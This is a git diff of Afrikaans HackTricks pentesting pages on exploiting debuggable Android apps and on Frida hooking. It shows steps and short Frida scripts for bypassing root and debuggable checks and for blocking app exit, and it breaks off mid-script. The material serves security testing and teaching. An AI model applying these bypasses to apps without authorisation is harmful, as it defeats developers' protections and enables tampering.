* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,88 +1,108 @@
|
|||
# Uitbuiting van 'n toepassing wat gedebug kan word
|
||||
# Exploiting a debuggeable application
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
# **Om die wortel- en gedebug kan word kontroles te omseil**
|
||||
# **Om die wortel- en debuggeer kontroles te omseil**
|
||||
|
||||
Hierdie gedeelte van die pos is 'n opsomming van die pos [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
|
||||
Hierdie afdeling van die pos is 'n opsomming van die pos [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
|
||||
|
||||
## Stappe om 'n Android-toepassing gedebug kan word te maak en kontroles te omseil
|
||||
## Stappe om 'n Android-app debuggeerbaar te maak en kontroles te omseil
|
||||
|
||||
### **Maak die toepassing gedebug kan word**
|
||||
### **Maak die App Debuggeerbaar**
|
||||
|
||||
Inhoud gebaseer op https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
|
||||
|
||||
1. **Ontbind die APK:**
|
||||
- Gebruik die APK-GUI-hulpmiddel om die APK te ontbind.
|
||||
- Voeg `android:debuggable=true` by in die _android-manifest_-lêer om die gedebug-modus te aktiveer.
|
||||
- Hersaam, teken en zipalign die gewysigde toepassing.
|
||||
1. **Decompile die APK:**
|
||||
- Gebruik die APK-GUI hulpmiddel om die APK te dekompileer.
|
||||
- In die _android-manifest_ lêer, voeg `android:debuggable=true` in om die debugmodus te aktiveer.
|
||||
- Hercompileer, teken en zipalign die gewysigde toepassing.
|
||||
|
||||
2. **Installeer die Gewysigde Toepassing:**
|
||||
- Gebruik die opdrag: `adb install <toepassing_naam>`.
|
||||
- Gebruik die opdrag: `adb install <application_name>`.
|
||||
|
||||
3. **Haal die Pakketnaam op:**
|
||||
3. **Herwin die Pakketnaam:**
|
||||
- Voer `adb shell pm list packages –3` uit om derdeparty-toepassings te lys en die pakketnaam te vind.
|
||||
|
||||
4. **Stel die Toepassing in om op die gedebugger se verbinding te wag:**
|
||||
- Opdrag: `adb shell am setup-debug-app –w <pakketnaam>`.
|
||||
- **Let op:** Hierdie opdrag moet elke keer uitgevoer word voordat die toepassing begin om te verseker dat dit wag vir die gedebugger.
|
||||
- Vir volharding, gebruik `adb shell am setup-debug-app –w -–persistent <pakketnaam>`.
|
||||
- Om alle vlae te verwyder, gebruik `adb shell am clear-debug-app <pakketnaam>`.
|
||||
4. **Stel die App in om op Debugger Verbinding te Wag:**
|
||||
- Opdrag: `adb shell am setup-debug-app –w <package_name>`.
|
||||
- **Let wel:** Hierdie opdrag moet elke keer voor die begin van die toepassing uitgevoer word om te verseker dat dit vir die debugger wag.
|
||||
- Vir volharding, gebruik `adb shell am setup-debug-app –w -–persistent <package_name>`.
|
||||
- Om alle vlae te verwyder, gebruik `adb shell am clear-debug-app <package_name>`.
|
||||
|
||||
5. **Maak gereed vir gedebugging in Android Studio:**
|
||||
5. **Bereid voor vir Debugging in Android Studio:**
|
||||
- Navigeer in Android Studio na _File -> Open Profile or APK_.
|
||||
- Maak die hersaamde APK oop.
|
||||
- Open die hergecompileerde APK.
|
||||
|
||||
6. **Stel breekpunte in sleutel Java-lêers:**
|
||||
- Plaas breekpunte in `MainActivity.java` (spesifiek in die `onCreate`-metode), `b.java`, en `ContextWrapper.java`.
|
||||
6. **Stel Breekpunte in Sleutel Java Lêers:**
|
||||
- Plaas breekpunte in `MainActivity.java` (spesifiek in die `onCreate` metode), `b.java`, en `ContextWrapper.java`.
|
||||
|
||||
### **Kontroles omseil**
|
||||
### **Omseiling van Kontroles**
|
||||
|
||||
Die toepassing sal op sekere punte verifieer of dit gedebug kan word en sal ook kyk vir binêre lêers wat dui op 'n gewortelde toestel. Die gedebugger kan gebruik word om toepassingsinligting te wysig, die gedebugbare bit te verwyder, en die name van gesoekte binêre lêers te verander om hierdie kontroles te omseil.
|
||||
Die toepassing sal op sekere punte verifieer of dit debuggeerbaar is en sal ook kontroleer vir binêre wat 'n gewortelde toestel aandui. Die debugger kan gebruik word om app-inligting te wysig, die debuggeerbare bit te verwyder, en die name van gesoekte binêre te verander om hierdie kontroles te omseil.
|
||||
|
||||
Vir die gedebug-klank:
|
||||
Vir die debuggeerbare kontrole:
|
||||
|
||||
1. **Verander vlae-instellings:**
|
||||
- In die veranderlike-afdeling van die gedebugger se konsole, navigeer na: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`.
|
||||
- **Let op:** Die binêre voorstelling van `flags = 814267974` is `11000011100111011110`, wat aandui dat die "Flag_debuggable" aktief is.
|
||||
1. **Wysig Vlag Instellings:**
|
||||
- In die debugger-konsol se veranderlike afdeling, navigeer na: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`.
|
||||
- **Let wel:** Die binêre voorstelling van `flags = 814267974` is `11000011100111011110`, wat aandui dat die "Flag_debuggable" aktief is.
|
||||
|
||||
![https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png](https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png)
|
||||
|
||||
Hierdie stappe verseker gesamentlik dat die toepassing gedebug kan word en dat sekere sekuriteitskontroles omseil kan word deur die gedebugger te gebruik, wat 'n meer diepgaande analise of wysiging van die toepassing se gedrag fasiliteer.
|
||||
Hierdie stappe verseker gesamentlik dat die toepassing gedebug kan word en dat sekere sekuriteitskontroles omgegaan kan word met behulp van die debugger, wat 'n meer diepgaande analise of wysiging van die toepassing se gedrag vergemaklik.
|
||||
|
||||
Stap 2 behels die verandering van 'n vlaewaarde na 814267972, wat binêr voorgestel word as 110000101101000000100010100.
|
||||
Stap 2 behels die verandering van 'n vlagwaarde na 814267972, wat in binêr as 110000101101000000100010100 voorgestel word.
|
||||
|
||||
# **Uitbuiting van 'n kwesbaarheid**
|
||||
# **Om 'n Kwessie te Exploiteer**
|
||||
|
||||
'n Demonstrasie is verskaf met behulp van 'n kwesbare toepassing wat 'n knoppie en 'n teksvak bevat. Aanvanklik vertoon die toepassing "Crack Me". Die doel is om die boodskap van "Try Again" na "Hacked" te verander tydens uitvoering, sonder om die bronkode te wysig.
|
||||
'n Demonstrasie is verskaf met 'n kwesbare toepassing wat 'n knoppie en 'n teksview bevat. Aanvanklik vertoon die toepassing "Crack Me". Die doel is om die boodskap van "Try Again" na "Hacked" tydens uitvoering te verander, sonder om die bronkode te wysig.
|
||||
|
||||
## **Kontrole vir Kwesbaarheid**
|
||||
- Die toepassing is ontbind met behulp van `apktool` om toegang te verkry tot die `AndroidManifest.xml`-lêer.
|
||||
- Die teenwoordigheid van `android_debuggable="true"` in die AndroidManifest.xml dui daarop dat die toepassing gedebug kan word en vatbaar is vir uitbuiting.
|
||||
- Dit is die moeite werd om op te merk dat `apktool` slegs gebruik word om die gedebugbare status te kontroleer sonder om enige kode te wysig.
|
||||
## **Kontroleer vir Kwessies**
|
||||
- Die toepassing is gedekomplileer met behulp van `apktool` om toegang tot die `AndroidManifest.xml` lêer te verkry.
|
||||
- Die teenwoordigheid van `android_debuggable="true"` in die AndroidManifest.xml dui aan dat die toepassing debuggeerbaar en kwesbaar is vir eksploitatie.
|
||||
- Dit is die moeite werd om op te let dat `apktool` slegs gebruik word om die debuggeerbare status te kontroleer sonder om enige kode te verander.
|
||||
|
||||
## **Die Opstel Voorberei**
|
||||
- Die proses behels die begin van 'n emulator, die installeer van die kwesbare toepassing, en die gebruik van `adb jdwp` om Dalvik VM-poorte wat luister te identifiseer.
|
||||
- Die JDWP (Java Debug Wire Protocol) maak dit moontlik om 'n toepassing wat in 'n VM loop te debug deur 'n unieke poort bloot te stel.
|
||||
- Poort deurstuur was nodig vir afstandsbediening, gevolg deur die koppel van JDB aan die teiken-toepassing.
|
||||
## **Voorbereiding van die Stel**
|
||||
- Die proses het behels om 'n emulator te begin, die kwesbare toepassing te installeer, en `adb jdwp` te gebruik om Dalvik VM-poorte te identifiseer wat luister.
|
||||
- Die JDWP (Java Debug Wire Protocol) stel debugging van 'n toepassing wat in 'n VM loop in deur 'n unieke poort bloot te stel.
|
||||
- Poort forwarding was nodig vir afstand debugging, gevolg deur die aanhegting van JDB aan die teiken toepassing.
|
||||
|
||||
## **Kode inspuiting tydens uitvoering**
|
||||
- Die uitbuiting is uitgevoer deur breekpunte te stel en die toepassing se vloei te beheer.
|
||||
- Opdragte soos `classes` en `methods <class_name>` is gebruik om die struktuur van die toepassing te ondersoek.
|
||||
- 'n Breekpunt is gestel by die `onClick`-metode, en die uitvoering daarvan is beheer.
|
||||
- Die opdragte `locals`, `next`, en `set` is gebruik om plaaslike veranderlikes te ondersoek en te wysig, veral deur die "Try Again" boodskap na "Hacked" te verander.
|
||||
- Die gewysigde kode is uitgevoer met behulp van die `run`-opdrag, wat die toepassing se uitset suksesvol in werklike tyd verander het.
|
||||
## **Kode Injektering tydens Uitvoering**
|
||||
- Die eksploitatie is uitgevoer deur breekpunte in te stel en die toepassing se vloei te beheer.
|
||||
- Opdragte soos `classes` en `methods <class_name>` is gebruik om die toepassing se struktuur te ontdek.
|
||||
- 'n Breekpunt is gestel by die `onClick` metode, en sy uitvoering is beheer.
|
||||
- Die `locals`, `next`, en `set` opdragte is gebruik om plaaslike veranderlikes te inspekteer en te wysig, veral om die "Try Again" boodskap na "Hacked" te verander.
|
||||
- Die gewysigde kode is uitgevoer met behulp van die `run` opdrag, wat suksesvol die toepassing se uitvoer in werklike tyd verander het.
|
||||
|
||||
Hierdie voorbeeld het gedemonstreer hoe die gedrag van 'n toepassing wat gedebug kan word, gemanipuleer kan word, en beklemtoon die potensiaal vir meer komple
|
||||
Hierdie voorbeeld het gedemonstreer hoe die gedrag van 'n debuggeerbare toepassing gemanipuleer kan word, wat die potensiaal vir meer komplekse eksploitatie soos die verkryging van shell toegang op die toestel in die toepassing se konteks beklemtoon.
|
||||
|
||||
## References
|
||||
* [https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
|
||||
* [https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications)
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,34 +1,35 @@
|
|||
# Frida Tutoriaal
|
||||
# Frida Tutorial
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Bug bounty wenk**: **teken aan** vir **Intigriti**, 'n premium **bug bounty platform geskep deur hackers, vir hackers**! Sluit vandag by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks), en begin om belonings tot **$100,000** te verdien!
|
||||
**Bug bounty wenk**: **meld aan** vir **Intigriti**, 'n premium **bug bounty platform geskep deur hackers, vir hackers**! Sluit by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) vandag, en begin verdien bounties tot **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## Installasie
|
||||
|
||||
Installeer **frida-gereedskap**:
|
||||
Installeer **frida tools**:
|
||||
```bash
|
||||
pip install frida-tools
|
||||
pip install frida
|
||||
```
|
||||
**Laai af en installeer** die **frida-bediener** in die Android-toestel ([Laai die nuutste vrystelling af](https://github.com/frida/frida/releases)).\
|
||||
Eenreël om adb in root-modus te herlaai, daarmee te verbind, frida-server op te laai, uitvoeringsregte te gee en dit agtergrond te laat loop:
|
||||
**Laai af en installeer** in die android die **frida server** ([Laai die nuutste weergawe af](https://github.com/frida/frida/releases)).\
|
||||
Een-liner om adb in wortelmodus te herbegin, daaraan te koppel, frida-server op te laai, uitvoeringsregte te gee en dit in die agtergrond te laat loop:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -36,40 +37,40 @@ adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
**Kyk** of dit **werk**:
|
||||
**Kontroleer** of dit **werk**:
|
||||
```bash
|
||||
frida-ps -U #List packages and processes
|
||||
frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
|
||||
```
|
||||
## Tutoriale
|
||||
## Tutorials
|
||||
|
||||
### [Tutoriaal 1](frida-tutorial-1.md)
|
||||
### [Tutorial 1](frida-tutorial-1.md)
|
||||
|
||||
**Vanaf**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
|
||||
**From**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
|
||||
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
|
||||
**Bronkode**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
|
||||
**Source Code**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
|
||||
|
||||
**Volg die [skakel om dit te lees](frida-tutorial-1.md).**
|
||||
|
||||
### [Tutoriaal 2](frida-tutorial-2.md)
|
||||
### [Tutorial 2](frida-tutorial-2.md)
|
||||
|
||||
**Vanaf**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Dele 2, 3 & 4)\
|
||||
**APK's en Bronkode**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
|
||||
**From**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Dele 2, 3 & 4)\
|
||||
**APKs en Bron kode**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
|
||||
|
||||
**Volg die [skakel om dit te lees](frida-tutorial-2.md).**
|
||||
**Volg die [skakel om dit te lees.](frida-tutorial-2.md)**
|
||||
|
||||
### [Tutoriaal 3](owaspuncrackable-1.md)
|
||||
### [Tutorial 3](owaspuncrackable-1.md)
|
||||
|
||||
**Vanaf**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
|
||||
**From**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
|
||||
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk)
|
||||
|
||||
**Volg die [skakel om dit te lees](owaspuncrackable-1.md).**
|
||||
|
||||
**Jy kan meer Awesome Frida-skripte hier vind:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
**Jy kan meer wonderlike Frida-skripte hier vind:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
|
||||
## Vinnige Voorbeelde
|
||||
## Quick Examples
|
||||
|
||||
### Frida vanaf die opdraglyn aanroep
|
||||
### Calling Frida from command line
|
||||
```bash
|
||||
frida-ps -U
|
||||
|
||||
|
@ -82,48 +83,7 @@ frida -U --no-pause -l disableRoot.js -f owasp.mstg.uncrackable1
|
|||
#frozen so that the instrumentation can occur, and the automatically
|
||||
#continue execution with our modified code.
|
||||
```
|
||||
### Basiese Python-skrips
|
||||
|
||||
```python
|
||||
import frida
|
||||
|
||||
# Device
|
||||
device = frida.get_usb_device()
|
||||
|
||||
# Application
|
||||
application = device.get_frontmost_application()
|
||||
pid = application.pid
|
||||
|
||||
# Session
|
||||
session = device.attach(pid)
|
||||
|
||||
# Script
|
||||
script = session.create_script("""
|
||||
console.log('Hello, world!');
|
||||
""")
|
||||
|
||||
# Load script
|
||||
script.load()
|
||||
|
||||
# Detach session
|
||||
session.detach()
|
||||
```
|
||||
|
||||
Hierdie is 'n basiese Python-skrips wat gebruik kan word met die Frida-raamwerk vir Android-app-pentesting.
|
||||
|
||||
Die skrips maak gebruik van die `frida`-biblioteek om met die toestel te kommunikeer en die toepassing te ondersoek.
|
||||
|
||||
Die skrips begin deur die toestel te kry wat aan die rekenaar gekoppel is deur die `frida.get_usb_device()`-funksie te gebruik.
|
||||
|
||||
Dan word die voorste toepassing op die toestel gekry deur die `device.get_frontmost_application()`-funksie te gebruik. Die proses-ID (pid) van die toepassing word ook verkry.
|
||||
|
||||
'n Sessie word geheg aan die toepassing deur die `device.attach(pid)`-funksie te gebruik.
|
||||
|
||||
'n Skrips word geskep deur die `session.create_script()`-funksie te gebruik. Die skrips bevat 'n eenvoudige drukopdrag wat die boodskap "Hello, world!" na die konsole stuur.
|
||||
|
||||
Die skrips word gelaai deur die `script.load()`-funksie te gebruik.
|
||||
|
||||
Uiteindelik word die sessie losgemaak deur die `session.detach()`-funksie te gebruik.
|
||||
### Basiese Python Skrip
|
||||
```python
|
||||
import frida, sys
|
||||
|
||||
|
@ -134,9 +94,9 @@ print('[ * ] Running Frida Demo application')
|
|||
script.load()
|
||||
sys.stdin.read()
|
||||
```
|
||||
### Hooking funksies sonder parameters
|
||||
### Funksies sonder parameters aanhaak
|
||||
|
||||
Haak die funksie `a()` van die klas `sg.vantagepoint.a.c`
|
||||
Haal die funksie `a()` van die klas `sg.vantagepoint.a.c` aan
|
||||
```javascript
|
||||
Java.perform(function () {
|
||||
; rootcheck1.a.overload().implementation = function() {
|
||||
|
@ -146,115 +106,14 @@ return false;
|
|||
};
|
||||
});
|
||||
```
|
||||
# Frida - Handleiding
|
||||
|
||||
Hier is een korte handleiding over het gebruik van Frida om de `exit()`-methode in Java te hooken.
|
||||
|
||||
## Stap 1: Installatie
|
||||
|
||||
Installeer Frida op uw apparaat. U kunt de Frida-instructies volgen op de officiële website van Frida.
|
||||
|
||||
## Stap 2: Voorbereiding
|
||||
|
||||
Zorg ervoor dat u de benodigde bestanden en hulpmiddelen heeft:
|
||||
|
||||
- De APK van de app die u wilt pentesten.
|
||||
- Een Android-apparaat of emulator.
|
||||
- Een teksteditor om het Frida-script te maken.
|
||||
|
||||
## Stap 3: Frida-script maken
|
||||
|
||||
Maak een nieuw bestand met de extensie `.js` en voeg de volgende code toe:
|
||||
|
||||
```javascript
|
||||
Java.perform(function() {
|
||||
var System = Java.use('java.lang.System');
|
||||
System.exit.implementation = function() {
|
||||
console.log('exit() is called');
|
||||
};
|
||||
});
|
||||
```
|
||||
|
||||
## Stap 4: Frida-script uitvoeren
|
||||
|
||||
Voer het Frida-script uit met behulp van de volgende opdracht:
|
||||
|
||||
```bash
|
||||
frida -U -l script.js -f <app_package_name>
|
||||
```
|
||||
|
||||
Vervang `<app_package_name>` door de naam van het pakket van de app die u wilt pentesten.
|
||||
|
||||
## Stap 5: Testen
|
||||
|
||||
Start de app op uw apparaat of emulator en voer de actie uit die de `exit()`-methode aanroept. U zou een bericht moeten zien in de console waarin staat dat `exit()` wordt aangeroepen.
|
||||
|
||||
## Conclusie
|
||||
|
||||
Met behulp van Frida kunt u de `exit()`-methode in Java hooken en controleren wanneer deze wordt aangeroepen. Dit kan handig zijn bij het pentesten van Android-apps om verdachte of ongewenste gedragingen te identificeren.
|
||||
Haal java `exit()` aan
|
||||
```javascript
|
||||
var sysexit = Java.use("java.lang.System");
|
||||
sysexit.exit.overload("int").implementation = function(var_0) {
|
||||
send("java.lang.System.exit(I)V // We avoid exiting the application :)");
|
||||
};
|
||||
```
|
||||
# Frida Tutorial: Hook MainActivity `.onStart()` & `.onCreate()`
|
||||
|
||||
In hierdie tutoriaal sal ons leer hoe om die `.onStart()` en `.onCreate()` metodes van die `MainActivity` klas in 'n Android-toepassing te hak.
|
||||
|
||||
## Stap 1: Verstaan die doel
|
||||
|
||||
Die `.onStart()` en `.onCreate()` metodes word opgeroep wanneer 'n aktiwiteit in Android begin en geskep word. Deur hierdie metodes te hak, kan ons die uitvoering van die toepassing beïnvloed en insette of uitsette manipuleer.
|
||||
|
||||
## Stap 2: Installeer Frida
|
||||
|
||||
Om te begin, moet ons Frida op ons toestel installeer. Volg die instruksies in die [Frida-dokumentasie](https://frida.re/docs/installation/) om dit te doen.
|
||||
|
||||
## Stap 3: Skryf die skripsie
|
||||
|
||||
Ons sal 'n eenvoudige Frida-skripsie skryf om die `.onStart()` en `.onCreate()` metodes te hak. Hier is die skripsie:
|
||||
|
||||
```javascript
|
||||
Java.perform(function () {
|
||||
var MainActivity = Java.use('com.example.MainActivity');
|
||||
|
||||
MainActivity.onStart.implementation = function () {
|
||||
console.log('MainActivity.onStart() gehak!');
|
||||
this.onStart();
|
||||
};
|
||||
|
||||
MainActivity.onCreate.implementation = function (savedInstanceState) {
|
||||
console.log('MainActivity.onCreate() gehak!');
|
||||
this.onCreate(savedInstanceState);
|
||||
};
|
||||
});
|
||||
```
|
||||
|
||||
## Stap 4: Voer die skripsie uit
|
||||
|
||||
Om die skripsie uit te voer, moet ons Frida gebruik om dit aan die toepassing te heg. Voer die volgende opdrag in die opdraglyn in:
|
||||
|
||||
```bash
|
||||
frida -U -l <pad_na_skripsie.js> -f <pakket_naam>
|
||||
```
|
||||
|
||||
Vervang `<pad_na_skripsie.js>` met die pad na jou skripsie-lêer en `<pakket_naam>` met die naam van die toepassing se pakkie.
|
||||
|
||||
## Stap 5: Monitor die uitset
|
||||
|
||||
Nou kan ons die toepassing uitvoer en die uitset monitor om te sien of die `.onStart()` en `.onCreate()` metodes gehak word. As alles reg verloop, sal ons die gehakte boodskappe in die uitset sien.
|
||||
|
||||
## Stap 6: Manipuleer die toepassing
|
||||
|
||||
Met die `.onStart()` en `.onCreate()` metodes gehak, kan ons nou die toepassing manipuleer deur insette te verander of uitsette te onderskep. Hierdie tegniek kan gebruik word om sekuriteitslekke te identifiseer en te misbruik.
|
||||
|
||||
## Stap 7: Opruiming
|
||||
|
||||
As jy klaar is met die hak van die toepassing, kan jy die Frida-skripsie verwyder en die oorspronklike toestand van die toepassing herstel.
|
||||
|
||||
## Slotwoord
|
||||
|
||||
Met behulp van Frida kan ons die `.onStart()` en `.onCreate()` metodes van die `MainActivity` klas in 'n Android-toepassing hak. Hierdie tegniek stel ons in staat om die toepassing te manipuleer en sekuriteitslekke te identifiseer. Onthou egter dat die gebruik van hierdie tegniek slegs toegelaat word in wettige en etiese pentesting-scenarios.
|
||||
Hook MainActivity `.onStart()` & `.onCreate()`
|
||||
```javascript
|
||||
var mainactivity = Java.use("sg.vantagepoint.uncrackable1.MainActivity");
|
||||
mainactivity.onStart.overload().implementation = function() {
|
||||
|
